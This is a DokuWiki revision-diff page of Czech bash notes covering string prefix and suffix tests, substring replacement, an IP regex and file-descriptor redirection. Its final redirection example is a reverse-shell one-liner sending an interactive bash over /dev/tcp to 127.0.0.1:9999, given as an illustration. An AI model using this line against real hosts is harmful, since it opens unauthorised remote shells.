Uživatelské nástroje

Nástroje pro tento web


bash_general

Rozdíly

Zde můžete vidět rozdíly mezi vybranou verzí a aktuální verzí dané stránky.

Odkaz na výstup diff

Následující verze
Předchozí verze
bash_general [2013/04/08 16:58] – vytvořeno djbuldogbash_general [2025/08/28 10:09] (aktuální) – upraveno mimo DokuWiki 127.0.0.1
Řádek 14: Řádek 14:
 </code> </code>
  
-===== Čtení ze souboru =====+===== Pole =====
   * inicializace   * inicializace
 <code> <code>
Řádek 51: Řádek 51:
 RE_IP="(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" RE_IP="(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"
 </code> </code>
 +
 +==== Startwith/Endwith ====
 +
 +  * pro porovnání typu startwith/endwith lze použít i standardní možnosti shellu ([[http://www.tldp.org/LDP/abs/html/parameter-substitution.html|parameter substitution, example 10-8]])
 +
 +<code bash>
 +MY_STR="123ABC"
 +MY_SUB1="123"
 +MY_SUB2="ABC"
 +
 +echo "${MY_STR#$MY_SUB1}, ${MY_STR%$MY_SUB2}"
 +[ "${MY_STR}" != ${MY_STR#$MY_SUB1} ] && echo "${MY_STR} startwith ${MY_SUB1}"
 +[ "${MY_STR}" != ${MY_STR%$MY_SUB2} ] && echo "${MY_STR} endwith ${MY_SUB2}"
 +</code>
 +
 +<code>
 +ABC, 123
 +123ABC startwith 123
 +123ABC endwith ABC
 +</code>
 +
 +===== Řetězce =====
 +
 +  * http://tldp.org/LDP/abs/html/string-manipulation.html
 +  * nahrazení všech výskytů podřetězce řetězcem
 +
 +<code bash>
 +X="a.b.c"; echo ${X//./#}
 +a#b#c
 +</code>
 +
 +  * získání podřetězce
 +
 +<code bash>
 +x="AAA#BBB"; echo ${x#*#}; echo ${x%#*}
 +BBB
 +AAA
 +</code>
 +
 +===== vstupy/výstupy =====
 +
 +  * standardní file descriptor procesu:
 +    * 0 STDIN
 +    * 1 STDOUT
 +    * 2 STDERR
 +
 +  * otevři soubor /tmp/x pro zápis jako STDOUT (FD 1)
 +
 +  exec > /tmp/x
 +  echo "aaa"
 +
 +  echo "aaa" > /tmp/x
 +
 +  * zduplikuj FD 2 na FD 1
 +
 +  exec 2>&1
 +
 +  * nastav FD1 + FD2 na /tmp/x
 +
 +  exec &> /tmp/x
 +
 +  * nastav stdin na stejný fd jeako stdout
 +
 +  0>&1
 +
 +  0<&1
 +
 +  <&1
 +
 +  * reverse shell: vytvoř TCP soket na IP 127.0.0.1, port 9999, nasměruj na něj výstup interaktivního bash shellu a vstup čti z tohoto socketu
 +
 +  bash -i &> /dev/tcp/127.0.0.1/9999 0>&1
 +
  
bash_general.1365433133.txt.gz · Poslední úprava: (upraveno mimo DokuWiki)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki